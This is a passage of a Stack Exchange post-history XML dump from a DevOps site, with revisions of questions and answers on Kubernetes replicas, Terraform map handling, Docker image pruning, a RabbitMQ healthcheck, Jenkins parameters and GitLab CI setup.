command:&#xD;&#xA;              - jekyll&#xD;&#xA;            image: jekyll&#xD;&#xA;          " ContentLicense="CC BY-SA 4.0" />
  <row Id="37102" PostHistoryTypeId="5" PostId="12076" RevisionGUID="3c2302d0-2091-4238-8f9e-29f2a7de8983" CreationDate="2020-07-25T10:06:38.257" UserId="15169" Comment="added 4 characters in body" Text="There are two ways either increase the number in your DeploymentConfig directly or use ```oc scale statefulset &lt;name_of_statfulset&gt; --replicas=2```&#xD;&#xA;&#xD;&#xA;    apiVersion: apps.openshift.io/v1&#xD;&#xA;    kind: DeploymentConfig&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;      app: jekyll&#xD;&#xA;      name: jekyll&#xD;&#xA;      namespace: test&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1 &lt;----------- here increase the number&#xD;&#xA;      selector:&#xD;&#xA;        app: jekyll&#xD;&#xA;        deploymentconfig: jekyll&#xD;&#xA;     strategy:&#xD;&#xA;      type: Rolling&#xD;&#xA;     template:&#xD;&#xA;       metadata:&#xD;&#xA;        creationTimestamp: null&#xD;&#xA;        labels:&#xD;&#xA;          app: jekyll&#xD;&#xA;          deploymentconfig: jekyll&#xD;&#xA;       spec:&#xD;&#xA;         containers:&#xD;&#xA;          - args:&#xD;&#xA;              - serve&#xD;&#xA;              - '--trace'&#xD;&#xA;            command:&#xD;&#xA;              - jekyll&#xD;&#xA;            image: jekyll&#xD;&#xA;          " ContentLicense="CC BY-SA 4.0" />
  <row Id="37108" PostHistoryTypeId="2" PostId="12079" RevisionGUID="19c63efb-21ea-4f88-bdb4-eef5861664c7" CreationDate="2020-07-26T05:54:51.020" UserId="23304" Text="I suggest you try to pass this information as an update to the statefulset.&#xD;&#xA;&#xD;&#xA;See this for reference: https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/#updating-statefulsets&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37109" PostHistoryTypeId="2" PostId="12080" RevisionGUID="13fe6913-0dd8-4d44-86bc-0671abf5ac5e" CreationDate="2020-07-26T11:58:08.097" UserId="23308" Text="Your loop is being nested.&#xD;&#xA;&#xD;&#xA;Use this instead.&#xD;&#xA;&#xD;&#xA;    # Clusters&#xD;&#xA;variable &quot;datadog_gke_clusters&quot; {&#xD;&#xA;  type = list(object({&#xD;&#xA;    name        = string&#xD;&#xA;    environment = string&#xD;&#xA;    url = object({&#xD;&#xA;      private = string&#xD;&#xA;      public  = string&#xD;&#xA;    })&#xD;&#xA;  }))&#xD;&#xA;  default = [&#xD;&#xA;    # NPRD&#xD;&#xA;    {&#xD;&#xA;      name        = &quot;cluster01&quot;&#xD;&#xA;      environment = &quot;nprd&quot;&#xD;&#xA;      url = {&#xD;&#xA;        private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;        public  = &quot;https://public.domain.com&quot;&#xD;&#xA;      }&#xD;&#xA;    },&#xD;&#xA;    # PROD&#xD;&#xA;    {&#xD;&#xA;      name        = &quot;cluster02&quot;&#xD;&#xA;      environment = &quot;nprd&quot;&#xD;&#xA;      url = {&#xD;&#xA;        private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;        public  = &quot;https://public.domain.com&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# Point of views&#xD;&#xA;variable &quot;gke_slo&quot; {&#xD;&#xA;  type = list(object({&#xD;&#xA;    zone              = string&#xD;&#xA;    monitor_threshold = number&#xD;&#xA;  }))&#xD;&#xA;  description = &quot;Response time threshold in ms to respond to a request.&quot;&#xD;&#xA;  default = [&#xD;&#xA;    {&#xD;&#xA;      zone              = &quot;private&quot;&#xD;&#xA;      monitor_threshold = 50&#xD;&#xA;    },&#xD;&#xA;    {&#xD;&#xA;      zone              = &quot;public&quot;&#xD;&#xA;      monitor_threshold = 100&#xD;&#xA;    },&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;locals {&#xD;&#xA;  result = {&#xD;&#xA;    for tuple in setproduct(var.datadog_gke_clusters, var.gke_slo): &quot;${tuple[0].name}_${tuple[1].zone}&quot; =&gt; {&#xD;&#xA;      name              = tuple[0].name&#xD;&#xA;      environment       = tuple[0].environment&#xD;&#xA;      url               = tuple[0].url&#xD;&#xA;      zone              = tuple[1].zone&#xD;&#xA;      monitor_threshold = tuple[1].monitor_threshold&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output &quot;result&quot; {&#xD;&#xA;  value = local.result&#xD;&#xA;}&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37110" PostHistoryTypeId="6" PostId="10382" RevisionGUID="97fe693d-185d-416d-91d6-becbd29a4a9e" CreationDate="2020-07-26T12:02:53.763" UserId="1180" Comment="tags edited" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37111" PostHistoryTypeId="24" PostId="10382" RevisionGUID="97fe693d-185d-416d-91d6-becbd29a4a9e" CreationDate="2020-07-26T12:02:53.763" Comment="Proposed by 1180 approved by 40 edit id of 1258" ContentLicense="CC BY-SA 4.0" />
  <row Id="37113" PostHistoryTypeId="5" PostId="12052" RevisionGUID="a529b1aa-1194-4edf-8abd-dcf7ff47c82c" CreationDate="2020-07-27T07:44:28.143" UserId="10769" Comment="added 113 characters in body" Text="Define the number of replicas in the `values.yaml` and pass it anywhere in resources (statefulset)&#xD;&#xA;&#xD;&#xA;**Update 1:** You can neither have a dynamic environment variable nor refer to the replicas field in STS. So the only way to get an updated count of STS in each pod is to redeploy with the new value of replicas in `values.yaml`:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;replicas: 3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Update 2:**&#xD;&#xA;&#xD;&#xA;According to this [link][1], you can mount a secret now to each pod and stay up to date about replicas count.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/configuration/secret/#mounted-secrets-are-updated-automatically" ContentLicense="CC BY-SA 4.0" />
  <row Id="37122" PostHistoryTypeId="5" PostId="12021" RevisionGUID="a8a8354f-2065-4a0c-bf07-e9127eec8e34" CreationDate="2020-07-27T15:31:53.987" UserId="17618" Comment="deleted 1 character in body" Text="While the WorkDocs API describes `create-user` as creating a user in the Directory Service (and does), it also activates the user as a WorkDocs user.  As a result, it can only be called when the directory is associated with WorkDocs (i.e. when the directory is &quot;enabled&quot; in WorkDocs).  These errors can occur when WorkDocs is not enabled.&#xD;&#xA;&#xD;&#xA;These errors can arise, for example, if you're trying to create users for WorkSpaces using the WorkDocs API since a comparable API isn't available for WorkSpaces.  To enable WorkDocs, do one of the following:&#xD;&#xA;&#xD;&#xA; - Use `EnableWorkDocs` when registering the Directory with WorkSpaces&#xD;&#xA; - Manually create a site on the WorkDocs page&#xD;&#xA;&#xD;&#xA;WARNING:  Even if you allocate no storage, it appears these users will incur WorkDocs charges unless you also `deactivate_user`.  &#xD;&#xA;WARNING:  `EnableWorkDocs` is not fully reversible from the API i.e. you cannot delete the Directory Service from the API if a WorkDocs site exists and the site cannot be removed from the API (likely for data protection reasons) " ContentLicense="CC BY-SA 4.0" />
  <row Id="37124" PostHistoryTypeId="2" PostId="12084" RevisionGUID="11bd8107-704a-41f4-ba61-84c22751686a" CreationDate="2020-07-27T16:11:28.797" UserId="132" Text="On your command line, run `printenv`&#xD;&#xA;&#xD;&#xA;Reference: https://man7.org/linux/man-pages/man1/printenv.1.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37134" PostHistoryTypeId="2" PostId="12087" RevisionGUID="a8174f09-a58d-4e06-8bd3-e4004d5600ac" CreationDate="2020-07-29T08:31:33.833" UserId="18469" Text="I want to take a map such as this that is passed in as a variable&#xD;&#xA;&#xD;&#xA;    cidrs = {&#xD;&#xA;      A = [1.1.1.1]&#xD;&#xA;      B = [2.2.2.2, 3.3.3.3]&#xD;&#xA;      Group1 = {&#xD;&#xA;        C = [4.4.4.4]&#xD;&#xA;        D = [5.5.5.5]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and then within the locals section i want to sanitize it to the following&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    cidrs_sanitized = {&#xD;&#xA;      A = [1.1.1.1]&#xD;&#xA;      B = [2.2.2.2, 3.3.3.3]&#xD;&#xA;      Group1 = [4.4.4.4, 5.5.5.5]&#xD;&#xA;      C = [4.4.4.4]&#xD;&#xA;      D = [5.5.5.5]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I have tried various methods of looping &#xD;&#xA;&#xD;&#xA;everything i've tried so far has led to me trying to get each set of values as seperate variables and then merge them together example:&#xD;&#xA;&#xD;&#xA;    single = { A = [1.1.1.1], B = [2.2.2.2, 3.3.3.3] }&#xD;&#xA;    groups = { Group1 = [4.4.4.4, 5.5.5.5] }&#xD;&#xA;    grouped = { C = [4.4.4.4], D = [5.5.5.5] }&#xD;&#xA;    cidrs_sanitized = merge(single, groups, grouped)&#xD;&#xA;&#xD;&#xA;and here's some of the stuff i've tried but failed to succeed with&#xD;&#xA;&#xD;&#xA;    groups = flatten([ for range, value in var.cidrs: tomap({ range = values(value) }) if !can(element(value, 0)) ])&#xD;&#xA;    single = flatten([ for range, value in var.cidrs: tomap({ range = value }) if can(element(value, 0)) ])&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;  groups = {&#xD;&#xA;    for range, value in var.ranges :&#xD;&#xA;      range =&gt; can(values(value)) ? values(value) : null&#xD;&#xA;  }&#xD;&#xA;  grouped = flatten([for range in var.ranges : [&#xD;&#xA;    for cidr_key, cidr in range : {&#xD;&#xA;      cidr_key =&gt; cidr&#xD;&#xA;    } if length(cidr) &gt; 0&#xD;&#xA;  ] if can(values(range)) ])&#xD;&#xA;&#xD;&#xA;The merge always fails as it tells me the output are tuples and i can't figure out how to get terraform to show me the values of the locals grouped, groups and single when calling it as a module&#xD;&#xA;&#xD;&#xA;Any help or points in the right direction would be appreciated, thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="37135" PostHistoryTypeId="1" PostId="12087" RevisionGUID="a8174f09-a58d-4e06-8bd3-e4004d5600ac" CreationDate="2020-07-29T08:31:33.833" UserId="18469" Text="Terraform: Sanitize a map that may be a map of strings or map of maps or combo of both" ContentLicense="CC BY-SA 4.0" />
  <row Id="37136" PostHistoryTypeId="3" PostId="12087" RevisionGUID="a8174f09-a58d-4e06-8bd3-e4004d5600ac" CreationDate="2020-07-29T08:31:33.833" UserId="18469" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37137" PostHistoryTypeId="5" PostId="12087" RevisionGUID="ea2bf5c2-9ad4-4940-bf64-4ff7cea32638" CreationDate="2020-07-29T08:41:33.513" UserId="18469" Comment="Fixed formatting issue" Text="I want to take a map such as this that is passed in as a variable&#xD;&#xA;&#xD;&#xA;    cidrs = {&#xD;&#xA;      A = [1.1.1.1]&#xD;&#xA;      B = [2.2.2.2, 3.3.3.3]&#xD;&#xA;      Group1 = {&#xD;&#xA;        C = [4.4.4.4]&#xD;&#xA;        D = [5.5.5.5]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and then within the locals section i want to sanitize it to the following&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    cidrs_sanitized = {&#xD;&#xA;      A = [1.1.1.1]&#xD;&#xA;      B = [2.2.2.2, 3.3.3.3]&#xD;&#xA;      Group1 = [4.4.4.4, 5.5.5.5]&#xD;&#xA;      C = [4.4.4.4]&#xD;&#xA;      D = [5.5.5.5]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I have tried various methods of looping &#xD;&#xA;&#xD;&#xA;everything i've tried so far has led to me trying to get each set of values as seperate variables and then merge them together example:&#xD;&#xA;&#xD;&#xA;    single = { A = [1.1.1.1], B = [2.2.2.2, 3.3.3.3] }&#xD;&#xA;    groups = { Group1 = [4.4.4.4, 5.5.5.5] }&#xD;&#xA;    grouped = { C = [4.4.4.4], D = [5.5.5.5] }&#xD;&#xA;    cidrs_sanitized = merge(single, groups, grouped)&#xD;&#xA;&#xD;&#xA;and here's some of the stuff i've tried but failed to succeed with&#xD;&#xA;&#xD;&#xA;    groups = flatten([ for range, value in var.cidrs: tomap({ range = values(value) }) if !can(element(value, 0)) ])&#xD;&#xA;    single = flatten([ for range, value in var.cidrs: tomap({ range = value }) if can(element(value, 0)) ])&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    groups = {&#xD;&#xA;      for range, value in var.ranges :&#xD;&#xA;        range =&gt; can(values(value)) ? values(value) : null&#xD;&#xA;    }&#xD;&#xA;    grouped = flatten([for range in var.ranges : [&#xD;&#xA;      for cidr_key, cidr in range : {&#xD;&#xA;        cidr_key =&gt; cidr&#xD;&#xA;      } if length(cidr) &gt; 0&#xD;&#xA;    ] if can(values(range)) ])&#xD;&#xA;&#xD;&#xA;The merge always fails as it tells me the output are tuples and i can't figure out how to get terraform to show me the values of the locals grouped, groups and single when calling it as a module&#xD;&#xA;&#xD;&#xA;Any help or points in the right direction would be appreciated, thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="37142" PostHistoryTypeId="2" PostId="12090" RevisionGUID="3ac32d9b-b847-4359-a511-538a3668b490" CreationDate="2020-07-29T10:18:07.097" UserId="22870" Text="I'm building images on a small server and spinning them up with docker-compose. &#xD;&#xA;&#xD;&#xA;When it'd disk gets full I run `docker prune -a` and all the stopped containers, dangling image are cleaned out.&#xD;&#xA;&#xD;&#xA;But I'd like to keep one or two recent images in case I need to roll back quickly. &#xD;&#xA;&#xD;&#xA;The [docker prune documentation][1] says `--filter until=&lt;timestamp&gt;`. But the timestamps from the previous images could be days, weeks or months old. &#xD;&#xA;&#xD;&#xA;Then suggested method for pruning by date is:  &#xD;&#xA;&#xD;&#xA;a) find the timestamp by listing the images with this format   &#xD;&#xA;&#xD;&#xA;`docker images --format 'table {{.Repository}}\t{{.Tag}}\t{{.ID}}\t{{.CreatedAt}}\t{{.Size}}'` &#xD;&#xA;&#xD;&#xA;**which produces**&#xD;&#xA;````&#xD;&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED AT                      SIZE&#xD;&#xA;foo                 latest              2f287ac753da        2017-01-04 13:42:23 -0800 PST   3.98 MB&#xD;&#xA;alpine              latest              88e169ea8f46        2016-12-27 10:17:25 -0800 PST   3.98 MB&#xD;&#xA;busybox             latest              e02e811dd08f        2016-10-07 14:03:58 -0700 PDT   1.09 MB&#xD;&#xA;````&#xD;&#xA;How can I automatically select the second `created at` timestamp in the list it produces? &#xD;&#xA;&#xD;&#xA;...to then pass it as a variable into &#xD;&#xA;&#xD;&#xA;b)&#xD;&#xA;`docker image prune -a --force --filter &quot;until=&lt;2rd timestamp from list&gt;&quot;`&#xD;&#xA;&#xD;&#xA;Is there an way to use awk ? Is there another way to leave and extra image ?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/image_prune/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37143" PostHistoryTypeId="1" PostId="12090" RevisionGUID="3ac32d9b-b847-4359-a511-538a3668b490" CreationDate="2020-07-29T10:18:07.097" UserId="22870" Text="How to prune all but two most recent docker images?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37144" PostHistoryTypeId="3" PostId="12090" RevisionGUID="3ac32d9b-b847-4359-a511-538a3668b490" CreationDate="2020-07-29T10:18:07.097" UserId="22870" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37148" PostHistoryTypeId="2" PostId="12092" RevisionGUID="12fc66a5-f19b-4aff-801b-c951d7c18987" CreationDate="2020-07-29T15:36:00.053" UserId="4553" Text="I'm trying to run `rabbitMQ` using `docker-compose`, but the service is always starting or unhealthy.  &#xD;&#xA;rabbit is running fine, so I suspect there is something wrong with my health check.&#xD;&#xA;  &#xD;&#xA;Running the healthcheck command locally does return a value.&#xD;&#xA;```bash&#xD;&#xA;&gt; curl -f http://localhost:5672&#xD;&#xA;AMQP	%&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But `docker-compose ps` always says the service is unhealthy (or starting, before it runs out of time).&#xD;&#xA;```&#xD;&#xA;&gt; docker-compose ps&#xD;&#xA;docker-entrypoint.sh rabbi ...   Up (unhealthy)   15671/tcp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is what my docker-compose.yml file looks like.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# docker-compose.yml&#xD;&#xA;version: '2.3' # note: I can't change this version, must be 2.3&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  rabbit-data:&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  rabbit:&#xD;&#xA;    hostname: 'rabbit'&#xD;&#xA;    image: rabbitmq:3.8.5-management&#xD;&#xA;    healthcheck:&#xD;&#xA;      test: [&quot;CMD&quot;, &quot;curl&quot;, &quot;-f&quot;, &quot;http://localhost:5672&quot;]&#xD;&#xA;      interval: 30s&#xD;&#xA;      timeout: 30s&#xD;&#xA;      retries: 3&#xD;&#xA;    ports:&#xD;&#xA;      - '5672:5672'&#xD;&#xA;      - '15672:15672'&#xD;&#xA;    volumes:&#xD;&#xA;      - 'rabbit-data:/var/lib/rabbitmq/mnesia/'&#xD;&#xA;    networks:&#xD;&#xA;      - rabbitmq&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  rabbitmq:&#xD;&#xA;    driver: bridge&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have also tried using `nc` instead of `curl` in the healthcheck, but got the same result.&#xD;&#xA;```yaml&#xD;&#xA;healthcheck:&#xD;&#xA;  test: [ &quot;CMD&quot;, &quot;nc&quot;, &quot;-z&quot;, &quot;localhost&quot;, &quot;5672&quot; ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From https://github.com/docker-library/rabbitmq/issues/326" ContentLicense="CC BY-SA 4.0" />
  <row Id="37149" PostHistoryTypeId="1" PostId="12092" RevisionGUID="12fc66a5-f19b-4aff-801b-c951d7c18987" CreationDate="2020-07-29T15:36:00.053" UserId="4553" Text="docker-compose healthcheck for rabbitMQ" ContentLicense="CC BY-SA 4.0" />
  <row Id="37150" PostHistoryTypeId="3" PostId="12092" RevisionGUID="12fc66a5-f19b-4aff-801b-c951d7c18987" CreationDate="2020-07-29T15:36:00.053" UserId="4553" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;rabbitmq&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37157" PostHistoryTypeId="2" PostId="12094" RevisionGUID="628663ff-a11e-4a9d-91ce-b93846cb9f12" CreationDate="2020-07-29T16:41:20.333" UserId="132" Text="The problem is that the date format isn't ideal.&#xD;&#xA;&#xD;&#xA;&gt; Supported formats for date formatted time stamps include RFC3339Nano, RFC3339, 2006-01-02T15:04:05, 2006-01-02T15:04:05.999999999, 2006-01-02Z07:00, and 2006-01-02&#xD;&#xA;&#xD;&#xA;Reference: https://docs.docker.com/engine/reference/commandline/system_prune/#filtering&#xD;&#xA;&#xD;&#xA;So this is really just a *half* answer, since it will use the date and the local timestamp.&#xD;&#xA;&#xD;&#xA;&gt; The local timezone on the daemon will be used if you do not provide either a Z or a +-00:00 timezone offset at the end of the timestamp. &#xD;&#xA;&#xD;&#xA;Thankfully, this comes sorted.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;~: docker images --format '{{.CreatedAt}}'&#xD;&#xA;2020-06-09 12:44:57 -0700 PDT&#xD;&#xA;2020-05-29 14:19:46 -0700 PDT&#xD;&#xA;2020-05-05 13:40:47 -0700 PDT&#xD;&#xA;2020-04-28 11:55:11 -0700 PDT&#xD;&#xA;2020-03-09 10:35:34 -0700 PDT&#xD;&#xA;2020-03-09 10:14:43 -0700 PDT&#xD;&#xA;2020-03-09 10:14:43 -0700 PDT&#xD;&#xA;2020-03-09 10:14:43 -0700 PDT&#xD;&#xA;2020-02-26 07:10:58 -0800 PST&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I don't know how to transform timestamps in bash off the top of my head, so let's just do this the quick and messy way... the whole date!&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ~: docker images --format '{{.CreatedAt}}' | sed -n '2p' | awk '{print $1;}'&#xD;&#xA;2020-05-29&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now we can do command substitution.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;~: docker image prune --force --filter &quot;until=`docker images --format '{{.CreatedAt}}' | sed -n '2p' | awk '{print $1;}'`&quot;&#xD;&#xA;Total reclaimed space: 1.344GB&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I didn't put a heck of a lot of thought in to this answer, so there may be some edges cases I didn't consider. Also, if someone with better bash-fu can transform that timestamp, that would be awesome." ContentLicense="CC BY-SA 4.0" />
  <row Id="37158" PostHistoryTypeId="2" PostId="12095" RevisionGUID="9c7ad988-da89-4b38-ba69-fb308d20d62a" CreationDate="2020-07-29T17:56:12.833" UserId="23222" Text="This is how I did:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;gitParameter {&#xD;&#xA;            // The name of the parameter.&#xD;&#xA;            name('SELECTED_BRANCH')&#xD;&#xA;            // The type of the list of parameters: Tag - list of all commit tags in repository - returns Tag Name Branch - list of all branch in repository - returns Branch Name Revision - list of all revision sha1 in repository followed by its author and date - returns Tag SHA1&#xD;&#xA;            type('PT_BRANCH')&#xD;&#xA;            // In my case this is a variable pointing to the gitlab hook variable&#xD;&#xA;            defaultValue('$gitlabAfter')&#xD;&#xA;            // A description that will be shown to the user later.&#xD;&#xA;            description('Select a git the configuration you want to deploy')&#xD;&#xA;            // Name of branch to look in.&#xD;&#xA;            branch('')&#xD;&#xA;            // Regex used to filter displayed branches.&#xD;&#xA;            // Whatever is captured in the group will be the name used as the value of the SELECTED_BRANCH&#xD;&#xA;            branchFilter('origin/(config\\/.*)')&#xD;&#xA;            // This parameter is used to get tag from git.&#xD;&#xA;            tagFilter('*')&#xD;&#xA;            // Select how to sort the downloaded parameters.&#xD;&#xA;            sortMode('NONE')&#xD;&#xA;            // Which value is selected, after loaded parameters.&#xD;&#xA;            selectedValue('NONE')&#xD;&#xA;            // If in the task are defined multiple repositories, this option specifies which the repository is taken into account on getting data.&#xD;&#xA;            useRepository(&quot;&lt;my git url&gt;.*&quot;)&#xD;&#xA;            // When this option is enabled will show a text field.&#xD;&#xA;            quickFilterEnabled(false)&#xD;&#xA;            // Specify the number of items the list will display.&#xD;&#xA;            // listSize(String value)&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As strange as it seems, some parameters shouldn't really be necessary, but the plugin requires them anyway, so that's why the config is verbose.&#xD;&#xA;&#xD;&#xA;Also, pay attention that this one is `gitParameter` and not `gitParam`, yes, both exist, and they take different parameters.&#xD;&#xA;&#xD;&#xA;For more information about the properties you can go here:&#xD;&#xA;&#xD;&#xA;https://plugins.jenkins.io/git-parameter/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37166" PostHistoryTypeId="2" PostId="12098" RevisionGUID="a19b9c81-8ac1-4c31-abc7-f348779673bb" CreationDate="2020-07-29T22:13:48.997" UserId="10769" Text="Your current shell environment variables, which are also including terraform-related ones can be listed by `env` command or you can do it in tf file:&#xD;&#xA;```terraform&#xD;&#xA;terraform {&#xD;&#xA;  required_version = &quot;&gt;= 0.12.0&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;get_tf_env&quot; {&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;env&quot;&#xD;&#xA;    interpreter = [&quot;bash&quot;, &quot;-c&quot;]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;According to [official docs][1] you can only feed terraform with the envs starting with `TF_*`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/commands/environment-variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37168" PostHistoryTypeId="5" PostId="1307" RevisionGUID="00257b15-3f71-490f-814f-e741694f7d31" CreationDate="2020-07-30T06:52:40.987" UserId="13" Comment="edited body" Text="What I do when I've a command to execute and wish to get the log only in case of failure is as follow (prefixed by a shell comamnd like `/bin/sh -c '...'` in case the initiator doesn't use a `system` call or execute the command directly without shell):&#xD;&#xA;&#xD;&#xA;    command 2&gt;&amp;1 &gt; command-log.txt || cat command-log.txt&#xD;&#xA;&#xD;&#xA;This will redirect error and standard output to a file and display the content of the file in case of failure only. If the command is very verbose and you don't wish to keep the log when it's ok you can go with:&#xD;&#xA;&#xD;&#xA;    command 2&gt;&amp;1 &gt; command-log.txt &amp;&amp; rm command-log.txt || cat command-log.txt&#xD;&#xA;&#xD;&#xA;Quote for `&amp;&amp;` and `||` usage from [sh manpage](http://heirloom.sourceforge.net/sh/sh.1.html):&#xD;&#xA;&#xD;&#xA;&gt; The symbol &amp;&amp; (||) causes the list following to be executed only if&#xD;&#xA;&gt; the preceding pipeline returns a zero (non zero) value.&#xD;&#xA;&#xD;&#xA;That's probably not the most idiomatic way to do it with ansible but has the advantage of being very portable with any configuration management system giving the ability to display command stdout." ContentLicense="CC BY-SA 4.0" />
  <row Id="37169" PostHistoryTypeId="2" PostId="12099" RevisionGUID="0bad7c47-6f8b-4737-accf-92c3e15ebd8e" CreationDate="2020-07-30T13:15:20.833" UserId="23351" Text="This has been fixed in recent version of Azure DevOps. Currently you can easily rename or move the pipeline in the list of pipelines while clicking on 3 dots and select Rename/move&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and change your location or move the pipeline&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/XrVfX.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/BlQDF.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="37173" PostHistoryTypeId="2" PostId="12101" RevisionGUID="f02613c3-897e-4538-8836-2e34a21faa5a" CreationDate="2020-07-30T16:31:21.153" UserId="23357" Text="I am using Docker, but not Swarm (or any other orchestration) for a project.&#xD;&#xA;&#xD;&#xA;Is there a way to leverage Docker Secrets without Swarm?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37174" PostHistoryTypeId="1" PostId="12101" RevisionGUID="f02613c3-897e-4538-8836-2e34a21faa5a" CreationDate="2020-07-30T16:31:21.153" UserId="23357" Text="Secrets in Docker without Swarm" ContentLicense="CC BY-SA 4.0" />
  <row Id="37175" PostHistoryTypeId="3" PostId="12101" RevisionGUID="f02613c3-897e-4538-8836-2e34a21faa5a" CreationDate="2020-07-30T16:31:21.153" UserId="23357" Text="&lt;docker&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37179" PostHistoryTypeId="2" PostId="12103" RevisionGUID="de461354-f3b7-486b-bc4e-50c6dd59f9da" CreationDate="2020-07-30T18:52:23.217" UserId="23358" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;I'm working on getting my end-to-end tests to work in a GitLab pipeline. Currently all the tests run locally but I'm having an issue getting them to run using GitLab's continuous integration feature.&#xD;&#xA;&#xD;&#xA;When running the tests locally puppeteer will use a headless version of chrome for end-to-end tests but the ReactJS' CRA server ***has*** to be running for this to work. To get the CRA server running locally I use `npm start` in one terminal and once it is fully running I can run `npm test` in a different terminal. During testing Puppeteer uses headless Chromium to run e2e tests on the site.&#xD;&#xA;&#xD;&#xA;**The Issue**&#xD;&#xA;&#xD;&#xA;`npm start` starts my CRA server but that process doesn't stop as I'm not sure how to stop it unless I manually quit it. This hangs docker and blocks me from ever starting my tests.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How can I start my application with `npm start` and once it starts then run `npm run test:e2e` ? Ultimately I'd like to quit CRA once the tests are completed.&#xD;&#xA;&#xD;&#xA;**Current Pipeline yml**&#xD;&#xA;&#xD;&#xA;    image: node:10.19.0&#xD;&#xA;    stages:&#xD;&#xA;      - test&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;      # untracked: true&#xD;&#xA;      key:&#xD;&#xA;        files:&#xD;&#xA;          - package-lock.json&#xD;&#xA;      paths:&#xD;&#xA;        - node_modules&#xD;&#xA;    #test_async:&#xD;&#xA;    #  script:&#xD;&#xA;    #    - npm install&#xD;&#xA;    #    - node ./specs/start.js ./specs/async.spec.js&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - apt-get update &amp;&amp; apt-get install -y lftp gconf-service libasound2 libatk1.0-0 libatk-bridge2.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget&#xD;&#xA;      - if [ ! -d 